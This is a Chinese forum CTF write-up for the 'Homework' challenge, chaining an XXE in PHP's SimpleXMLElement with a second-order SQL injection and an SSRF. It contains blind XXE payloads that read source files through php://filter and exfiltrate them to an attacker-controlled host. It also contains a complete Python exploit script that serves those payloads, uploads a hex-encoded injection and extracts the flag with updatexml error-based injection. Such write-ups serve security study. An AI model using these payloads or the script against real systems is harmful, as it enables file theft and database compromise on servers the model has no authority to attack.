[Writeup] Homework WP

[复制链接]
查看696 | 回复0 | 2019-10-15 21:58:41 | 显示全部楼层 |阅读模式
## SimpleXMLElement 类XXE漏洞
首先是根据url格式和页面提示的calc类源码,猜测url参数是调用相关类和传入参数。

```
http://62.234.99.204:1006/show.php?module=calc&args[]=2&args[]=a&args[]=2
```


对原生类 `SimpleXMLElement` 进行调用,其中他的构造函数参数如下
`__construct(data,options,is_url,ns,is_prefix)`

<!---more--->

| 参数 | 描述 |
|:---:|:---:|
| data | 必需。形式良好的 XML 字符串或 XML 文档的路径或 URL。|
| options | 可选。规定附加的 Libxml 参数。
| is_url | 可选。规定 data 参数是否是 URL。默认是 false。|
| ns | 可选。|
| is_prefix | 可选。|

其中第一个参数url为自己服务器的xml文件,第二个参数随意填数字,可以找手册参考下,第三个参数必须为true,代表第一个参数为url

```
/show.php?module=SimpleXMLElement&args[]=http://193.8.83.174:34567/payload1.xml&args[]=4&args[]=true
```

> 第二个参数:https://www.php.net/manual/zh/libxml.constants.php

接下去就是按照常规blind xxe,进行读源码

> payload1.xml
```
<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://111.111.111.111:23333/payload2.xml">
    %remote; %intern; %xxe;
]>
```


> payload2.xml
```
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://111.111.111.111:23333/?data=%payl;'>">
```


逐个得到所有源码,开始审计

## 二次注入+XXE的SSRF


读源码,发现所有入库的参数,都经过`w_addslashes`过滤,并且在数据库语句中用单引号包裹,但是,只有在`function.php`的23行的sig参数,虽然有过滤,但是没有用单引号包裹,可以用hex编码传入字符串,包括单引号等特殊字符,不受`w_addslashes`影响。
并且,show.php中存在一个只能本地访问才可启用的方法,`$_GET['action']=="view"`时可以用`$_GET['filename']`读取上传的文件内容。在每次读取内容时,更新sig的值,此时带入了先前查询出的sig,虽然有单引号包裹,但可以由上一步的hex转码传入不受过滤的单引号,造成注入。

因此先上传一个文件,内容无所谓,但文件名必须不能重复。修改sig为hex编码的注入语句。

> xxrf的payload2.xml
```
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=上传的文件名称">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://111.111.111.111:23333/?data=%payl;'>">
```

再次回弹,得到ssrf访问的页面内容,即可进行注入。可以采用报错注入。

流程到此结束。

## 代码

```python
from http.server import BaseHTTPRequestHandler
import http
import socketserver
import argparse
import base64
import socket
import _thread
import time
import re
import random
import string
import requests


class myhttpserver(BaseHTTPRequestHandler):

    def respPayload(self, payloadid):
        xml1 = '''<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://''' + "{}:{}".format(HOST, PORT) + '''/payload2.xml">
    %remote; %intern; %xxe;
]>'''
        xml2 = '''<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=''' + \
               (("http://127.0.0.1/show.php?action=view&filename=" + UPFILE) if SSRF else PAYLOAD) + '''">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://''' + "{}:{}".format(HOST, PORT) + '''/?data=%payl;'>">'''

        if payloadid == 1:
            print(xml1)
            return xml1
        else:
            print(xml2)
            return xml2

    def do_GET(self):
        # return all todos
        re_recv_base64 = re.compile('''(?<=/\?data=).+''')
        if (self.path.find("payload1.xml") != -1):
            data = self.respPayload(1)
        elif (self.path.find("payload2.xml") != -1):
            data = self.respPayload(2)
        elif (re_recv_base64.search(self.path)):
            print("Recv Base64 data")
            data = re_recv_base64.findall(self.path)[0]
            data = base64.b64decode(data)
            print(data)
            data = "Bye"
        else:
            print(self.path)
            self.send_error(404, "File not found.")
            return

        self.send_response(200)
        self.send_header('Content-type', 'text/xml')
        self.end_headers()
        self.wfile.write(data.encode())
        if data == "Bye":
            httpd.shutdown()


def server_start():
    global httpd
    Handler = myhttpserver
    httpd = socketserver.TCPServer(("", PORT), Handler)

    print("serving at {}:{}".format(HOST, PORT))
    httpd.serve_forever()


def sendpayload(payload):
    time.sleep(2)
    payload = "0x" + base64.b16encode(payload.encode()).decode()

    headers = {"Cookie": "cookie-check=582bd94d1e69c38b4e4c8f20cfe8ddb1; user=zzaa"}
    upfile_url = "http://62.234.99.204:1006/submit.php"
    xxe_url = "http://62.234.99.204:1006/show.php?module=SimpleXMLElement&args[]=http://" + "{}:{}".format(HOST,
                                                                                                           PORT) + "/payload1.xml&args[]=2&args[]=true"
    files = {"file": (UPFILE, "data")}
    data = {"sig": payload}
    proxies = {"http": "127.0.0.1:8080"}

    # r = requests.post(upfile_url, data=data, files=files, headers=headers, proxies=proxies)
    r = requests.post(upfile_url, data=data, files=files, headers=headers)
    time.sleep(1)
    # r = requests.get(xxe_url, headers=headers, proxies=proxies)
    r = requests.get(xxe_url, headers=headers)


def main():
    global HOST
    global PORT
    global UPFILE
    global SSRF
    global PAYLOAD
    parser = argparse.ArgumentParser(description='Write up for Homework')
    parser.add_argument('-H', '--HOST', help='local ip', required=True)
    parser.add_argument('-ssrf', '--SSRF', help='Is ssrf or xxe read file.', action="store_true")
    parser.add_argument('-p', '--PAYLOAD', default="index.php",
                        help='The payload for SQL injection or the file path for XXE')
    args = parser.parse_args()

    SSRF = args.SSRF
    HOST = args.HOST
    PAYLOAD = args.PAYLOAD
    # HOST = "0.0.0.0"
    PORT = random.randint(20000, 65535)
    UPFILE = "".join(random.sample(string.ascii_letters + string.digits, 8))

    print("{}:{} {}".format(HOST, PORT, UPFILE))
    _thread.start_new_thread(sendpayload, (PAYLOAD,))

    server_start()
    # listen_resp()


if __name__ == "__main__":
    main()

```


> 需要独立ip的公网服务器上执行
> 测试环境python3.7

```
Usage:
python poc.py -H yourip -p config.php
python poc.py -H yourip -ssrf -p "' and updatexml(1,concat(0x7e,mid(((select flag from flag)),1,20),0x7e),1)#"
```


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

8

主题

9

帖子

85

积分

打谱CTF

Rank: 3Rank: 3

积分
85